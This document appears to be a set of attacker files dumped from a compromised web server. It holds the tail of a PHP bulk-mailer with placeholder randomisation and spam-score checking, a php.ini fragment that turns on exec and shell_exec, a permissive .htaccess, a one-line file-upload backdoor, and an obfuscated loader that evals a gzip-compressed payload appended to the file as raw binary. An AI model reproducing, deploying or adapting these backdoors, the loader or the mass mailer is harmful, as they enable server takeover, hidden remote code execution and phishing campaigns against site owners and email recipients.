            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$fAeS='gzuncompr'.'ess';$ANzq='fil'.'e'.'_'.'ge'.'t'.'_con'.'tents';$tEji='subs'.'tr';$XkjE='s'.'tr'.'_repl'.'ace';$TkFU='exi'.'t';eval($fAeS($XkjE('uqsfjdteba','>',$XkjE('egohybcnwz','<',$tEji($ANzq( __FILE__ ),-172795)))));$TkFU(0);
?>
x$Wfʹh|#!'M19\YrQl%l{ݖz~=O%kA`EuqsfjdtebaooiƲnVɿ}oŲYlX##?Ͽ;A;@pK ),ҭ
]"v6Էry2* O[Rt"}p wOo,,KIG]ԩ&"BIkh~)k*eVbZτ$a DgFh:1ՙJxeJ]Yl \JoUƿ+~|~I-rBX]8~35g#me{jW`\ң.N[a:$%#̶#IveP$z(=Ҁ{w_cfC+E 
곛2̘B}
Zl~2|@Y/ޱG2uqsfjdteba~0ڮO0jNk,WX)6:aCXegohybcnwz w)L ޚZpL0l, QH:6xJBZ|)yj=$egohybcnwzm^P35Z23Y5̐eݜ9h;c	Ƨ)PegohybcnwzKo?1а+R';0{ֿӄOch92l߯	 yvyȭegohybcnwzu;g!
&f{wFegohybcnwz6}kl2-Etm`k|{x=O:	HKnΥ 
Wcp	c-Փ	"GHJ1ZWM+ʝzT6IjPdfH|u6RĦ9~,*Ɉ:*Y8r DE`(hY~5 lK{i"+uqsfjdtebauqsfjdteba]TuqsfjdtebaXp+5O|p?1It}!C_u~=B [3Vפ24 JUWӋ%iT`{Cf9aV
1"urDVPIa'JYATP4mu-Lh_"*rXG# P}|uqsfjdteba͵()T7TneEa7	ȓZ5մHdlkvFN@b\N'sܢ?`-mN9D
UsF|&)u oBeϻcOpw%'&Ph|CegohybcnwzSl\ ۑQ2K1PFڕ]_egohybcnwzi. W(3O+ƮkY5"YegohybcnwzX!LLGCIegohybcnwzpukrYݢCndSwV9vԵډsr9ȵEO`\Or*)xS`J^sCuqsfjdteba33۵TYegohybcnwz!JWo+JegohybcnwzLa|k)IIJy҂M~X!In=
YTFC*RR*R(
"Gj1$aV91^69FŪa 
v|	Hegohybcnwz۶$4@.A#+?ۑ%38lª¡kS-	[~N"M(.}P(7X0jۋiAɰi&y
%SD gE2
s7.@0kK.!

xhX¯LҀqlJ~Kuqsfjdteba01y tegohybcnwzQчiT Q'=}^egohybcnwz˧Uw;R5AʰL|jؤrV0a
V@~s3l
O
I10?)PA||v߀0)O)5DuqsfjdtebaӡFY']2\;{];^MH^UcEhE#SǴ-5+l3/.`*OMAn]ЖkfFc2uIǣ\X5Vn֙k:=?mEAegohybcnwzm}!KqLmuqsfjdtebaĂ&b(OεQ@:;JCCǄĳbB?U3t) Qv(7SI/\ЃeI\/+5ثȚ샮b7TZW\3HlN#Quqsfjdteba]Uy!Xk}UeJ%4hv1Q#*yuqsfjdtebaYCD诠T`!}#q9ؓ_ah̽XUr^L=Gߧ_ښoShizʗprOܶU}c~$tS0X[uqsfjdtebaF"ce~#1:I($ů˻fQUk,~Gegohybcnwzs4kUNi:T)-DTEY)uuqsfjdtebaAjk$IMk֐1~&K:wCPUa6]d
J9T(`$KT%8ċ_n.@7l`egohybcnwzvC{ueJ4
?( O45*z^iϡO|Dݹ|kZ +]y͟o+CF7OG,FL!qBB/DA#B.z\_I%׻QˎF╏;VYCk͗owҤZ?ODNor&PD2qNA`^̎JWʠNog:?14'mooŜ|/0YT򷗅QdFg0./uqsfjdteba;Tvfn4z&JWWl:\{c2giKKdf&[p~]ıkD[	@s(hm)wfrLNxk`ɜ=?p4f83|hZ\|LL{L$v#3*zEf0NM]m$5:YuvPqC.egohybcnwzaC0kp*egohybcnwzqnHpY/Yjg+E?uqsfjdteba%1)~Nu;SX(BܺlzVuqsfjdteba96Cfe؆p)91A#+釒2k$
T(|N6^ҔY,.+VCiQ5q|JNuqsfjdtebami4
4s@𱛎$'tM107JW5eSѻBy1Z@_^X?5z(ek_}k2Gq{b$g,Xi7-HJE,$4ߺ\-LM0h'棐nr}-n͞՚tR4&ӿӔﲤ\7	X!1	]ϯojĎ|gQ÷
%!A=7%=D,={6юOh !wAݏb֗$Od+H=kH2%0&sYa3Mkd$NvWb'L4Ԗx3ʛALe-taZ\$_ơ&#6_ !b*~_c0Q{6cuGyM?EyTuO֖	Xr& 
{ATeHxi+okGN))cj͆NPP^}
`/-?egohybcnwzz'egohybcnwz+MگnZDFuqsfjdtebacwCz4BqA&[Ч'Cy@2r^tUSuqsfjdtebanP B+øwK!%&RǿaBvluqsfjdteba	CXuqsfjdtebasDNuwYCcZL}^oY-.իBT4yߌ/i$egohybcnwzDy 6a-QuqsfjdtebaanxۂcOtNhpvl;^~o\?U\lUGs%6QzyB@v"͸\
9Megohybcnwz6*L-zUf}N`; Vσ(Dhiwq8sZԒeV#LFuqsfjdteba^':0hid
P )90n7[)/"LtR29X5L|'0}Xu9GwG8ejmCuǿ
Xm}?z_%}/e
qM+݁.nIjOcޓsTi.Zg`egohybcnwzeToY+TA	B"_egohybcnwzH黌@5!H:ЮŪԪ[zegohybcnwzkϲiYՐr?%x.ISN8+(ԨL*\Q%_`TFH)z"@|֍1yߒ7whմ5O(rb}I@jegohybcnwzI߰CzWV(]JMc8Cη`xީ7$ͲGY	fRڅ1egohybcnwz;prov-M	dR;=LBN+;qQRaegohybcnwzLoya){fPi-7iG.t0BA\LmjD3/UѼ ZfQȚ.j;y9WPPW3IFҦxCH9LBC`OuUnI,g^ۻ-KjsHʖdV	ֆe}[ۊ/{,(CvegohybcnwzְkYioo殟$xJ9?=a,uZF [H6otv!r!xܽY,r
~jw"Sz\jB)
跙m_3 kdG5=$(a/ΛN|Mp̶F-IM|m'fF2$H.@5IÎ`ȼw
}j)؛
#(i&uqsfjdteba+JPJmQ*y=4fH9Řfh;Y_rT;xTty!Oq ۽T.u9GjCF/&
\#Dr;0Njuqsfjdtebafx6Us۲VџiWAZ3O3*$`
\GΫ\ӷ"j*egohybcnwz  -j+8A~ШxT&\1D`FE#n".,f|qAh`@}|	?/_%N"wF?"6pV-o1Eg#c(u ' yNTx0Jjpb%.A·Tȿަ/iǞsY}ݰC`a|pw!v+digNhϟ6Tg
ØĮ۴St,#n"fuqsfjdteba
RFL'}m/THx.:8W;"~aY	rRA/^`HKBfJK)3w?NrW?m/c:4nTzN2\au[=y&-EMtegohybcnwzqRA?XUVt]_}O_7ڍ)\@?7#3׎t&k
Hegohybcnwz@4{@0Zm$ww%	uz" -;r;HLfT)쫼x($etQ1)D*ZfZfdT1~+Y۶v~
0z@02OGacyX*~
tԘ;3+k%*10m!JeiTe^@7"R ~I&Rʹq\quqsfjdtebaG[!iGT}؞a㠔3|J)B75]WRv²|jPj\}^I"bQrum~ˈiCQcso/𰼼a"@,wq5Et*
&w9R
B\1bK^T|f
R-Qג3E:.f.39e3ջ Lj\	1DƗ.1GU$93FCAW`"_d"SQ\`QG~[fbd~=E T!E9
"#}+FTP($-PC=L!/0r;'p2 =egohybcnwz
lAeb-EZzG)St	0V Ŀ0s{lB+#3%V|Mt9ݻrk)uqsfjdteba$L8;L1\6Uͯiuqsfjdteba|&x32
E2sˁČ؍{	R0!s\Msx-X[%H`ȸ$\̸s	ʍ~6z.RѴ
쏅З?zN$6&#$g
+(7bJ3tpMSG2HV[鈢V':))拓.bK|hu:%3}Cs2x9r@xwuݱuqsfjdtebaD+Luqsfjdtebaٻ 
+Boa^˅/g`Uhx1IZB̗6?4 !%MR;q!ׯzuqsfjdteba
a.Bei*uqsfjdteba}uUM! P&qXqiڼ}015p0/x&$sZo7:3wMR}ƅ۫Qۮ/뉟+egohybcnwzRN;w6UHmN1?tegohybcnwzaMRQ6:uqsfjdteba@ۮ3:@
A?eD@HEWgx7G~T#W7'A:nLnE2sOXўQvb__p@YuqsfjdtebabB;	*9"p"Q"ؘ8J:HF~&V:i =S;VSGՔ[1T@ ɴgSX%egohybcnwzuqsfjdteba$0}۰| 	cBݦ2QM 1^}Qf/tUIzNmyI)Lc[*Yk̳o^0ps835Գf$v;0F
0egohybcnwzcaٷy&FRuqsfjdtebaRd	 :s6IݽXru;	#S=ހroE)AS2qWCs|ٗ!AKHޜt՗ǵ$ =)`=J&B{CΟ&prVh3ca]#3H)O~x(r̈WGuJ귤cAVy 5}tv7^"[__+%~Q]2AɹyHƕj#:lC0\)Z~{PÕj~"2ytm#xy6oFhc\F#
#rdkBuqsfjdteba
]()@/gaUZ}Υ4C1⁤VGe
}]AuqsfjdtebaS3!0jFdit$Igz#+99H.vaq*/cϽk8+o^mOQFB}Nݍ#W_KX)6t󮅰aJ:2Cv
596b׺x.n|&Z_#"殌=fy{Б CzXEX}ddOh$#NhhSJ;;vNr]lnI=Uc)$ \LѷmtbMmjdF065pQEil2=aQegohybcnwzZb[3z6N'E2N9$[uqsfjdteba^G!"GHC)Ó'B{RNv]Iw-Jݝ14doLԊv)1E`MpJiYTr@?Qcsӛ̕Z"&ҚegohybcnwzYo9Mcax9cX=|d W^V`Q!Nbl-][9Q#_*G5q7ߪSco;+q$ޝl\$XjGegohybcnwz#W) vZ6J3OM' \f19ٴqH#*mBmC泚:MgVp/6LyuqsfjdtebaIVr6_k@ II:;B	m[Q΍eoHsJ)uqsfjdtebag[xCd /F5|dvpweszw@Y{&zegohybcnwz:}m9Q.¹ {`%wruƢch8egohybcnwz"_VX9zHrQp:غBȭn4L:88uڇ!p)t*ܑ_CuqsfjdtebaTuqsfjdtebaR҈ۿv?blDegohybcnwzuqsfjdteba,k@
X?
1LGI31\YGXò%9=H^4)E~	D"cHVRopܯ=b ocn]7SDQ"KوQSFW([U^ɠ$D)I 7&TU8oñÄC9uqsfjdtebac%k̇(nO FK=i}
+Jg =n\HdvO 5 ^K@-j3yCE?#=,CcIgB2ǡDD'b2r]XrjQw^%+kBTS
ҼXH;c%q
@Mh!]]bcjjq|dsvKhch~Feegohybcnwzi10m6%ri2OEBQ8ɠGVzin"Iu
-segohybcnwz[-hh%\X`^Tw\Ή怒ls%BSvd#ߢ	y7egohybcnwz11鮛@RVU8b#`^^hf̯vDܪUsnIP!b
W6nd_b8Xr	vFrٶOx꛻p#INJ}dDd{JDx*غib TP{'åpk么AO/tcTE)IeE-f?pZu4
6wM*T6ċ~wK wr'f-ZP$$jEgr1~̈X:j5 qZpH
zgO8VH$]Ʈ`Lq݌EF7^Ia+ z
{hh"!uqsfjdteba|Buqsfjdtebay7R"'`(?);k'
b!]k`YZ*;9eRZX4gb1̔*G0vT1/DcPxݘ8ӗ./1-'G񓋒*7 ks_F"IACΙ egohybcnwz	8YƚiaH)hߨj%}2RyuqsfjdtebaP𼲞o47-4*NW"Sߧm}MCN@[*oy;䎭^n_)Sdw[5b
'OS&c"v̺^55KZ 4zA!XsZ`~8'Z`8i_#e޾g6o
d#j"iB5am?CC@hi\lVn9k3J	o|m6(9g.nA
y)2u	2;4OrWqQez}H%Md}ʂvl
jA;aBZ"r7\2)):IܮNR=#FnmŃ,7bDNo'@gU,eTOaG@S0MҔX;' O ȵn"uqsfjdtebaoy̯4! FQ
;ᗙv &4~@*NqfAp=FųNT
4=[41ƍZdfNO
zʭ@|\= |Q}g +Gl9;f 򍀯il'Megohybcnwz/nufTO^_`+1^?kJØ,uqsfjdteba[~LyD 
Qegohybcnwz	iCS%LVegohybcnwz1DC^ynAg|Ck4#~.
OA%uqsfjdtebaMNAf(
'uqsfjdtebauqsfjdtebaV)"ت-.	leU6ءHsPN%
uqsfjdteba8"]$Cn9_9k'29  #8y8	XM^C9xb	~SJY?nL!1$-@Vm
hpC0
KC_O#D)_܏@	+7V}JqH%;ZGꖂCZJJj23S-adM
#dnM'@+xegohybcnwz10MvF|PJp
G=CIKg[.vki@ټ_1xr@GT#덧|)auq`ow'Z_;݇TcjpϦ}VC\6qGk egohybcnwzRk	#UaegVSUxGqa0]B$ɍtT$FVgsȂM5egohybcnwz;#g2`޸3:S'$2A?SYӼxE
}sgY2`_r4ıegohybcnwz-́uqsfjdteba5/cԯ"Cq3qi[j؂pS7]vIuqsfjdtebaɼb|F k2Tj2Q?*L 7n}~TsrQ2: %fYmgy놢fOCRv62eZU)рRTCG$h"nA'UZW?YIE6K&Мc[7摫
4Dd$\IlG;ޝ7U00pMfQ3{n´NYo5_!@i7mf6=P}T Yh"Y3p0xҐL(/FNR|^4; v}rq3[uZ YWGx"Tůs]Tjs@SBhegohybcnwzA!:c8c֞_ix*sݷߛegohybcnwzͻ!"{ukìaX	y5^4uxMAvųC\#ӾݝI; 
2l^n;-X(6m=vB}@MnQ_KR2X÷$ϽK$q9'`J/F%tc|2ٷ JY\qk[Ʌ^}eDn5-;{oJM
טPym,MK4IVJBVcQ[@/&yEIMcdOO8IC۲	 MMXݎz~V7ɡY}
:N4$wkGoufY` Ec|ϭDMO(L47%;UhgM~"H.|멜*8SwfӠ֌4rQX(46;tLI n Megohybcnwz`10@	}3n?kԔ3GHo̜Y9K{1!aαt	i(FZo1vg39"+8Ms$Lk9 )⻍;=2
~]ξegohybcnwz=&uqsfjdteba^uqsfjdtebar	Tn27Va%
o^ț.
3
16]ZWV3t/cä6 zu4uqsfjdtebaMPuqsfjdteba-j@9NlX1u`.]r[f#e	hILֿP 2s\lԤ;,ӍpF֡;rBbp~EW9&ꦓyQ&gLNݞ9ˈ"TIn4䮯v83mgƨ-U-3 N|R䕠x|~ 
GegohybcnwziE-tyF2g1[8AxdDT`DN^ ,Nt`7;S\U-egohybcnwz,YvrSb|egohybcnwzVDa
6^"OkBS)7}7uqsfjdtebaWyzqNM3G0
*H9jegohybcnwz{P]TJLtQZ=$EM.\57q%ujbDɘ&LAjg$I.A?QHn[bk%{BegohybcnwzPu4\5G:?l
ur7*oKQӐ`Zo8A1sj9Jģ-u1ܹA^aD͓i4YT2HV
~ڛOWl!tHG*'ʀ~k&7egohybcnwz6$\ Iڇ[)8x".!k*!8Ɏm#nIS~&?FȰ	4*םmGm^$2aRY?kis蔵67.xYXd0N)-kj@u{]`U'd4&]-YӸ9*G-
l"{nͫNuqsfjdtebauO[ܽFG/g۪tP
S6V/
pfrJA\Ռ%`۶ @@&_Dʕk[S	L
}JY
|ǭIpAob{"H=9L`6RCQw`&%PAPMnzgzZ8ʴegohybcnwzqxIn\Go\dbj}r 8OH%\/	jSMnzk4D.yLmC4è{|sDASDD"|kS'='CYUOegohybcnwz.H'pANtx&:t׿[H$zT񶡨HQ qW$ӧ s~b(642.hlǦ P@AquZm*Aiba꛷b|aKE/.$=1(By2=,BK9]|\uqsfjdtebaZF$o.)MdMegohybcnwz'I VizEN71x&Sz(B_!Ťuqsfjdteba\egohybcnwz)0;2tBuIV}z82.
ziO~wM1\UP_v
Yu-}vOi
t+Z)$THX@^p(~/?$zg-s*g/-:P!bQr;Sŋ~egohybcnwzf4nWU0F*c/`Bj?Un=8qjݟ*|3-tbɏ,թƊegohybcnwz͘%.0h5dec׆xlV
Zgrc!kRphmcs\?&HgX79&
oSooƷe4U	ٲq^X=)Py@ҟ|L fF%8'%3gS_suqsfjdtebac?CiywE
!y°L1&+?D3~
nuqsfjdteba_\"FDqUv'/(J2 *30M[4vB)x#?/9 pA:,Ps) @sfBvNQ}L)uUuqsfjdteba~v0pIAuLq ٓf$AJan_e
|#Ogâ!) 
Gx).n'ɑbh|t4PPМSluqsfjdtebaVSQ
JiĴŨq12U]h}NSR[To¤!*{YzRUCJk 0N0wczbA+߇Fy+I]uqsfjdteba
w5"YGZegohybcnwzq4Q~VϨ8
0
w~E{V_w\ϗ糐=oxGy9F̨H0
Q_m1|rFTM	w!pJJS1+WUuOb̀lb^ GqTn]L=ѵOGI|wXI@jk$g&nx[`er zqdYP~
1# X8Uku|H$!touqsfjdtebagt+LCE:}HXx%E4f8koR
|TNuqsfjdtebaƻ
^_,CGzve@	&3ռpFEAlBQ'ۘ~kt%:uqsfjdtebaÉWt.2|AÍ=t֊a&=зNp7뱈WP:{=Pה2d]tڞ0aHTWRH+z{P\A]Yu̸wpfVն8{U#PJ:U~jHbI[~0[yŚ#sdr⫋ggc|?D-8ݗ8uqsfjdtebaQҩ5Ûuqsfjdteba|1a2߭[i(Z4phuqsfjdtebaMuqsfjdteba\Ѫ/.H6P\jXV8UaNxr9|~9H\HhmD&6lʤgQA@?abhM#I:o!"o
ama)|RfU,T:ޥ-.R8|oA|!uqsfjdtebaJw
&7%)X8=@2
аFcF92g$Θe+CXv {cYͦs843+0nzyδlf^4ľ`Ql#Ebik)U+@4n. 2B`_OhRНR 4NBw8Sw3/J~1ͪ^LhG[UaֻPTtR705eGFsiFqxTF8
Յ+Z_F
ϰiDTOr	3~)bHt
6gSǿZTDgrl[P`31P+?`3yoMF"㹉޹T
-qB@#{S&0S"R EFj_EFuiA@=?﬈#/nuD]ZyMxZP̟mw38oU2UOc(^hѮ8ETGJrKoA'=lt3Qie?&kC
A)2$#KUNӄFeE~EZy2Hr#E
;GRޅoAp{o:hB	U&{]E5c'ĝ=BH
"y|ouqsfjdtebar}p7OʂE]tFQ_1R!.@:[U5!kyP%d%d64!ġxK^ egohybcnwzEZןA&wGuqsfjdteba A.-@{l"='p0=6&sѺY/uyXSkgV`lHN4hlmcVڳ/dtE[u=lrA7⫊F rN-o;E$yh6E.(:#.R
LSP83TﴫMfm8B;s7`W
iLCr*K!pءegohybcnwz&u!O(EgLbwFpe22D
[m;l&)NĴO]ZΞoB^T@
܃鯎M__b NԳ\uqsfjdteba"H_5wjo䑊]EֻSeT3lYhAy9YhVGq
q o=,e֯9-Ft%7_U`Z71(SȨuqsfjdteban&m:i%
'3rNIUDm
vmϦT5 [uqsfjdteba=g˥*Qe[rc~T%컊)eߝ| jrSq+~=jϟleO8;"[q-hkz̩^0}	,&d8Ϫɮ'hzB[lfo	合4E'E1Yd"\7!/
`P-(Qn++=М=ODKtMÊV7Bji@2A7˽(*b[I?f6®F@oV@TǑ'D.!XY}I\aH̘:m&݈#X-U$ۻ"r}_vY&}PFrRO`ʭNy/A~;To]egohybcnwzMY~
sLIT?@ħF}&uqsfjdtebaLB2@cf*]V[ J2uuB㪑Z7˼ `w)0]u!&CL2qP6v=-UX*-	_QqegohybcnwzW@Rf&C`WAJm_tg{auqsfjdtebaeLD &X?bZ3RYE"$Ǚ~&
{0b765NԕVWzSW#D:v{L	c:NAx@=uqsfjdteba,}Q;,䓘cݎegohybcnwzpȹȻ7Huft+(_W|`LooBE6{҅hʛ (v`Ꭳegohybcnwz$7'ݕK-`yo,y]DhYhNKC3UBB9#{i)tS
uK3?6eRDNy`Wɔ0 W ]nl.;8ܪTt:uqsfjdtebahOghDLl|0ap;|IH8v1a1ӛuqsfjdtebaMvo5ɽL6@Z{[LF*|=9~kY#_Η2r'~Q{@u[BLV#rm5вd%@
RBM65FՆO&w(^F?0a]R?8ARx52&xywJNm{E*egohybcnwzV
FVD1ձ׻(UQ#qP(vQ6▤v-(;,KCË˶Yt36:h}X-N5R1^gc@Mb1V?hic@E}vl^־uqsfjdteba4ѻegohybcnwz},hQܷ~'&V+uqsfjdteba6wuqsfjdteba"`)kewKG', |"m~bXrK5q^m}?egohybcnwzQ;ta(/e:jvJ ,8P8Ь
пB{^}QЏbegohybcnwz/p\]u9IDX|Em&1y}%SW# Vuqsfjdteba"rdz&Y~ C|%P:n8a7s//0`
	6_Ƣ߲X?łvchԝ1_'h~1Ӊv["tGzLuqsfjdteba$D9_}$`gyQf2;pt'ٻv7=d'p@)#egohybcnwz"U2׉H{f|ERG$ KR՟iԜa7Z6n !ZJ'9R]]x=ђU7Dr&|ksߖ8fWgĀo+ŁD6%ە{j^'h'ڲC#4uqsfjdteba;[ܦIlTI|؝3ׯ=uqsfjdteba _z  _ߣACw[@RyV"H)xS$=f~I4?p]\%3yq"_z#Ls[_cAt'?MOשc粝DwpGӺ$s5Wa$;DmL_Z -+u1-*J)BVƝ
 n?oznկCZNÃ@R^itkrG@,@$-fP?8 y	
6,
+	[JLل^Fqn/Qoi3;`/ /?XY2Hjv*sf K	AŎ]z:j.$]o5yv|X.ri{?oDKZMb&sA:SgO~~F:$@XcdUX\7	;G㋘|#;$~'EGzNzMM&~~?sq M `:3^F$#^(_#յؓB@Qq ڵ/(Q|i)*6@uqsfjdtebaR]Vq	ԃ+#f[L!f@%3~7aBN?kArzϥWnT"޴/]Mruw׃ -3y#M"EcZՈ!]&%"#v5Eֱ$$UEySC92 _}b7V"okt@DfvV?mJv̦+m;9,$Py2F6N;#,rI)PخƳ $!ߙʉȶW1-vХ)y[АQ-.)Bkqm=+S1o;z&
#|l4u4x+PgAg+(߷"-!^~A '@O}s!G5	Pka8 ~:RyU( k_:/P3-mx8-ȏ)T	uqsfjdteba8+@zbdW,l]Ypb|~.;yHZ$X	1IrsegohybcnwzL&gއ
L5eLBH
_RȤl@䭕(;៦6q}Kωu]O_M:	{fpᘱƛV{ց4CґSGQx:
wL؟=̴*5:#RQtr7T`zն6M~J;5va0;MlB$׋KcbJ^F:jGgSM/&&(4,'nRNuqsfjdteba\&0C1ڤueMUzlu(OByrB%3f;c}),Lp)ŢS6CF}zM.,p]r*WpOl 'pFHfy[̧OЩF7^_Ѳme[DE~|ebFy:IPREoaC*׮;}K2vJHJ[hn
od"^(Ʌ?3O3f'{p4{l(/r'6&T,jcr)EXHQ,W A	_uqsfjdtebaG-j~CuqsfjdtebaC$41B2CUhNjv#!1'akÉ,_uom^H
 0aˌH{A77!Oʫkj*D5_;wV:Z[f!.l]ܵ%oKuq6ƭ2d\0X 쐾,0v
8E7dC8Z5
154eM6xNsa	Ç BCyLpZ.I8}90tFTߜ627u8LB+am*ɩsȣv9;{0vD#ͼhv +%Q;QBzD8J&iegohybcnwzT|u~(k#'!ZC=rs	םTǉ3gRC#wsY-/AkPVPEP_	U25f1Jy30m'cֆFR}egohybcnwzp@*&V**;w=avr
rV6XGo+Z]j'Em@3+xbl{sV~金ZQ#OԌbНvyD鞗
n@}WGfeq "&ߧ9EI
E
DuyQ ߯c]uem;wegohybcnwzdЫΕ~!kᄆ6W~.~Ƞ?|I
d{e
90Rr`0E 5szt-^:.UYڤ9" A.l7v8:Qv	E64Tg`MSSC!SLvuqsfjdteba-8@IYuqsfjdtebakSY2C"a&$:HoFr"̅h1`j5%cK};:!64^dk(HFTNGZaQ5VHs6&4zväh~egohybcnwzĎ7S9Hy
SB\pr
]ykfٴ߲i@2qPKR-i@NX?;95D
gd,}l`(O9FTGZj[7I)Bo
;?@vk&uj9}b~DP/Ѿd?i[`""egohybcnwz9{8O*ĪEg1J{cPQ@hT.\&ƃ
VR_d8	
egohybcnwz#SٵyC$N}gyE67=SpX3Gwuqsfjdtebaxl!qrWem]eʚn 'eftquqsfjdtebaQc'F}EG|ϗ`" #uqsfjdtebapN$~&Bvj+s0=c8!$u+,I)zxwJhP	axPU嚱OM
ߦ(!:fd*?s6_!#L[;02P(H|egohybcnwzgOEmlQg4+' SXzKqIyTN'H+fOX6"_vegohybcnwzRkUyZjj5"HČ߄IguqsfjdtebaprD2	A\m}F_%9nïregohybcnwz'۸c]{zEq
"Sj^1}A6ۗy8~
&?g;3)'(h4$\
)%oa?ek5y0dCw7?,C&O7tw#2uqsfjdteba	
:D[|Aln\Q'AM˹UF_,\R4	@_sǊS0A}l}ܪŅ	Xt grkRR('Juqsfjdteba/peHsc-* fؙ-pߢuqsfjdteba/i9^_B4uqsfjdteba.pS*7"P43.)aHc3"jҜe?\%/G.sڡw7攙hK2[iBuqsfjdteba/ǩMDre}'%d=2rv(2hf:QzvoZMgT_*θc@eŊ
AKoW{T7o1G^pξ{{3N?g9
:*0&
egohybcnwzp"ЇY=K3G)ܬ
Ni.R'qt 
fbϱߠ Dڶ:dM3-M *]
!TId@dlxuqsfjdtebauNOTR7=Es6
}[%?/uqsfjdteba=uuqsfjdtebaD%nF/_|+e˰x-Gq
ԥ2kuM$
